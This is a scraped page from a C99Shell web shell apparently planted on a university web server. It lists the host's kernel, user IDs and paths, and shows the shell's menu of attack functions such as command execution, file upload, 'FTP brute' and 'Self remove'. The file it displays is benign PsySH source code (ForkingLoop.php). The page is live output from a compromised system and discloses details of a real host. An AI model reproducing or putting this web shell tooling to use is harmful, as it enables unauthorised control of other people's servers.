!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/psy/psysh/src/Psy/ExecutionLoop/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ForkingLoop.php (4.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2015 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\ExecutionLoop;

use 
Psy\Shell;

/**
 * A forking version of the Psy Shell execution loop.
 *
 * This version is preferred, as it won't die prematurely if user input includes
 * a fatal error, such as redeclaring a class or function.
 */
class ForkingLoop extends Loop
{
    private 
$savegame;

    
/**
     * Run the execution loop.
     *
     * Forks into a master and a loop process. The loop process will handle the
     * evaluation of all instructions, then return its state via a socket upon
     * completion.
     *
     * @param Shell $shell
     */
    
public function run(Shell $shell)
    {
        list(
$up$down) = stream_socket_pair(STREAM_PF_UNIXSTREAM_SOCK_STREAMSTREAM_IPPROTO_IP);

        if (!
$up) {
            throw new \
RuntimeException('Unable to create socket pair.');
        }

        
$pid pcntl_fork();
        if (
$pid 0) {
            throw new \
RuntimeException('Unable to start execution loop.');
        } elseif (
$pid 0) {
            
// This is the main thread. We'll just wait for a while.

            // We won't be needing this one.
            
fclose($up);

            
// Wait for a return value from the loop process.
            
$read   = array($down);
            
$write  null;
            
$except null;
            if (
stream_select($read$write$exceptnull) === false) {
                throw new \
RuntimeException('Error waiting for execution loop.');
            }

            
$content stream_get_contents($down);
            
fclose($down);

            if (
$content) {
                
$shell->setScopeVariables(@unserialize($content));
            }

            return;
        }

        
// This is the child process. It's going to do all the work.
        
if (function_exists('setproctitle')) {
            
setproctitle('psysh (loop)');
        }

        
// We won't be needing this one.
        
fclose($down);

        
// Let's do some processing.
        
parent::run($shell);

        
// Send the scope variables back up to the main thread
        
fwrite($up$this->serializeReturn($shell->getScopeVariables()));
        
fclose($up);

        exit;
    }

    
/**
     * Create a savegame at the start of each loop iteration.
     */
    
public function beforeLoop()
    {
        
$this->createSavegame();
    }

    
/**
     * Clean up old savegames at the end of each loop iteration.
     */
    
public function afterLoop()
    {
        
// if there's an old savegame hanging around, let's kill it.
        
if (isset($this->savegame)) {
            
posix_kill($this->savegameSIGKILL);
            
pcntl_signal_dispatch();
        }
    }

    
/**
     * Create a savegame fork.
     *
     * The savegame contains the current execution state, and can be resumed in
     * the event that the worker dies unexpectedly (for example, by encountering
     * a PHP fatal error).
     */
    
private function createSavegame()
    {
        
// the current process will become the savegame
        
$this->savegame posix_getpid();

        
$pid pcntl_fork();
        if (
$pid 0) {
            throw new \
RuntimeException('Unable to create savegame fork.');
        } elseif (
$pid 0) {
            
// we're the savegame now... let's wait and see what happens
            
pcntl_waitpid($pid$status);

            
// worker exited cleanly, let's bail
            
if (!pcntl_wexitstatus($status)) {
                
posix_kill(posix_getpid(), SIGKILL);
            }

            
// worker didn't exit cleanly, we'll need to have another go
            
$this->createSavegame();
        }
    }

    
/**
     * Serialize all serializable return values.
     *
     * A naïve serialization will run into issues if there is a Closure or
     * SimpleXMLElement (among other things) in scope when exiting the execution
     * loop. We'll just ignore these unserializable classes, and serialize what
     * we can.
     *
     * @param array $return
     *
     * @return string
     */
    
private function serializeReturn(array $return)
    {
        
$serializable = array();

        foreach (
$return as $key => $value) {
            
// No need to return magic variables
            
if ($key === '_' || $key === '_e') {
                continue;
            }

            
// Resources don't error, but they don't serialize well either.
            
if (is_resource($value) || $value instanceof \Closure) {
                continue;
            }

            try {
                @
serialize($value);
                
$serializable[$key] = $value;
            } catch (\
Exception $e) {
                
// we'll just ignore this one...
            
}
        }

        return @
serialize($serializable);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0387 ]--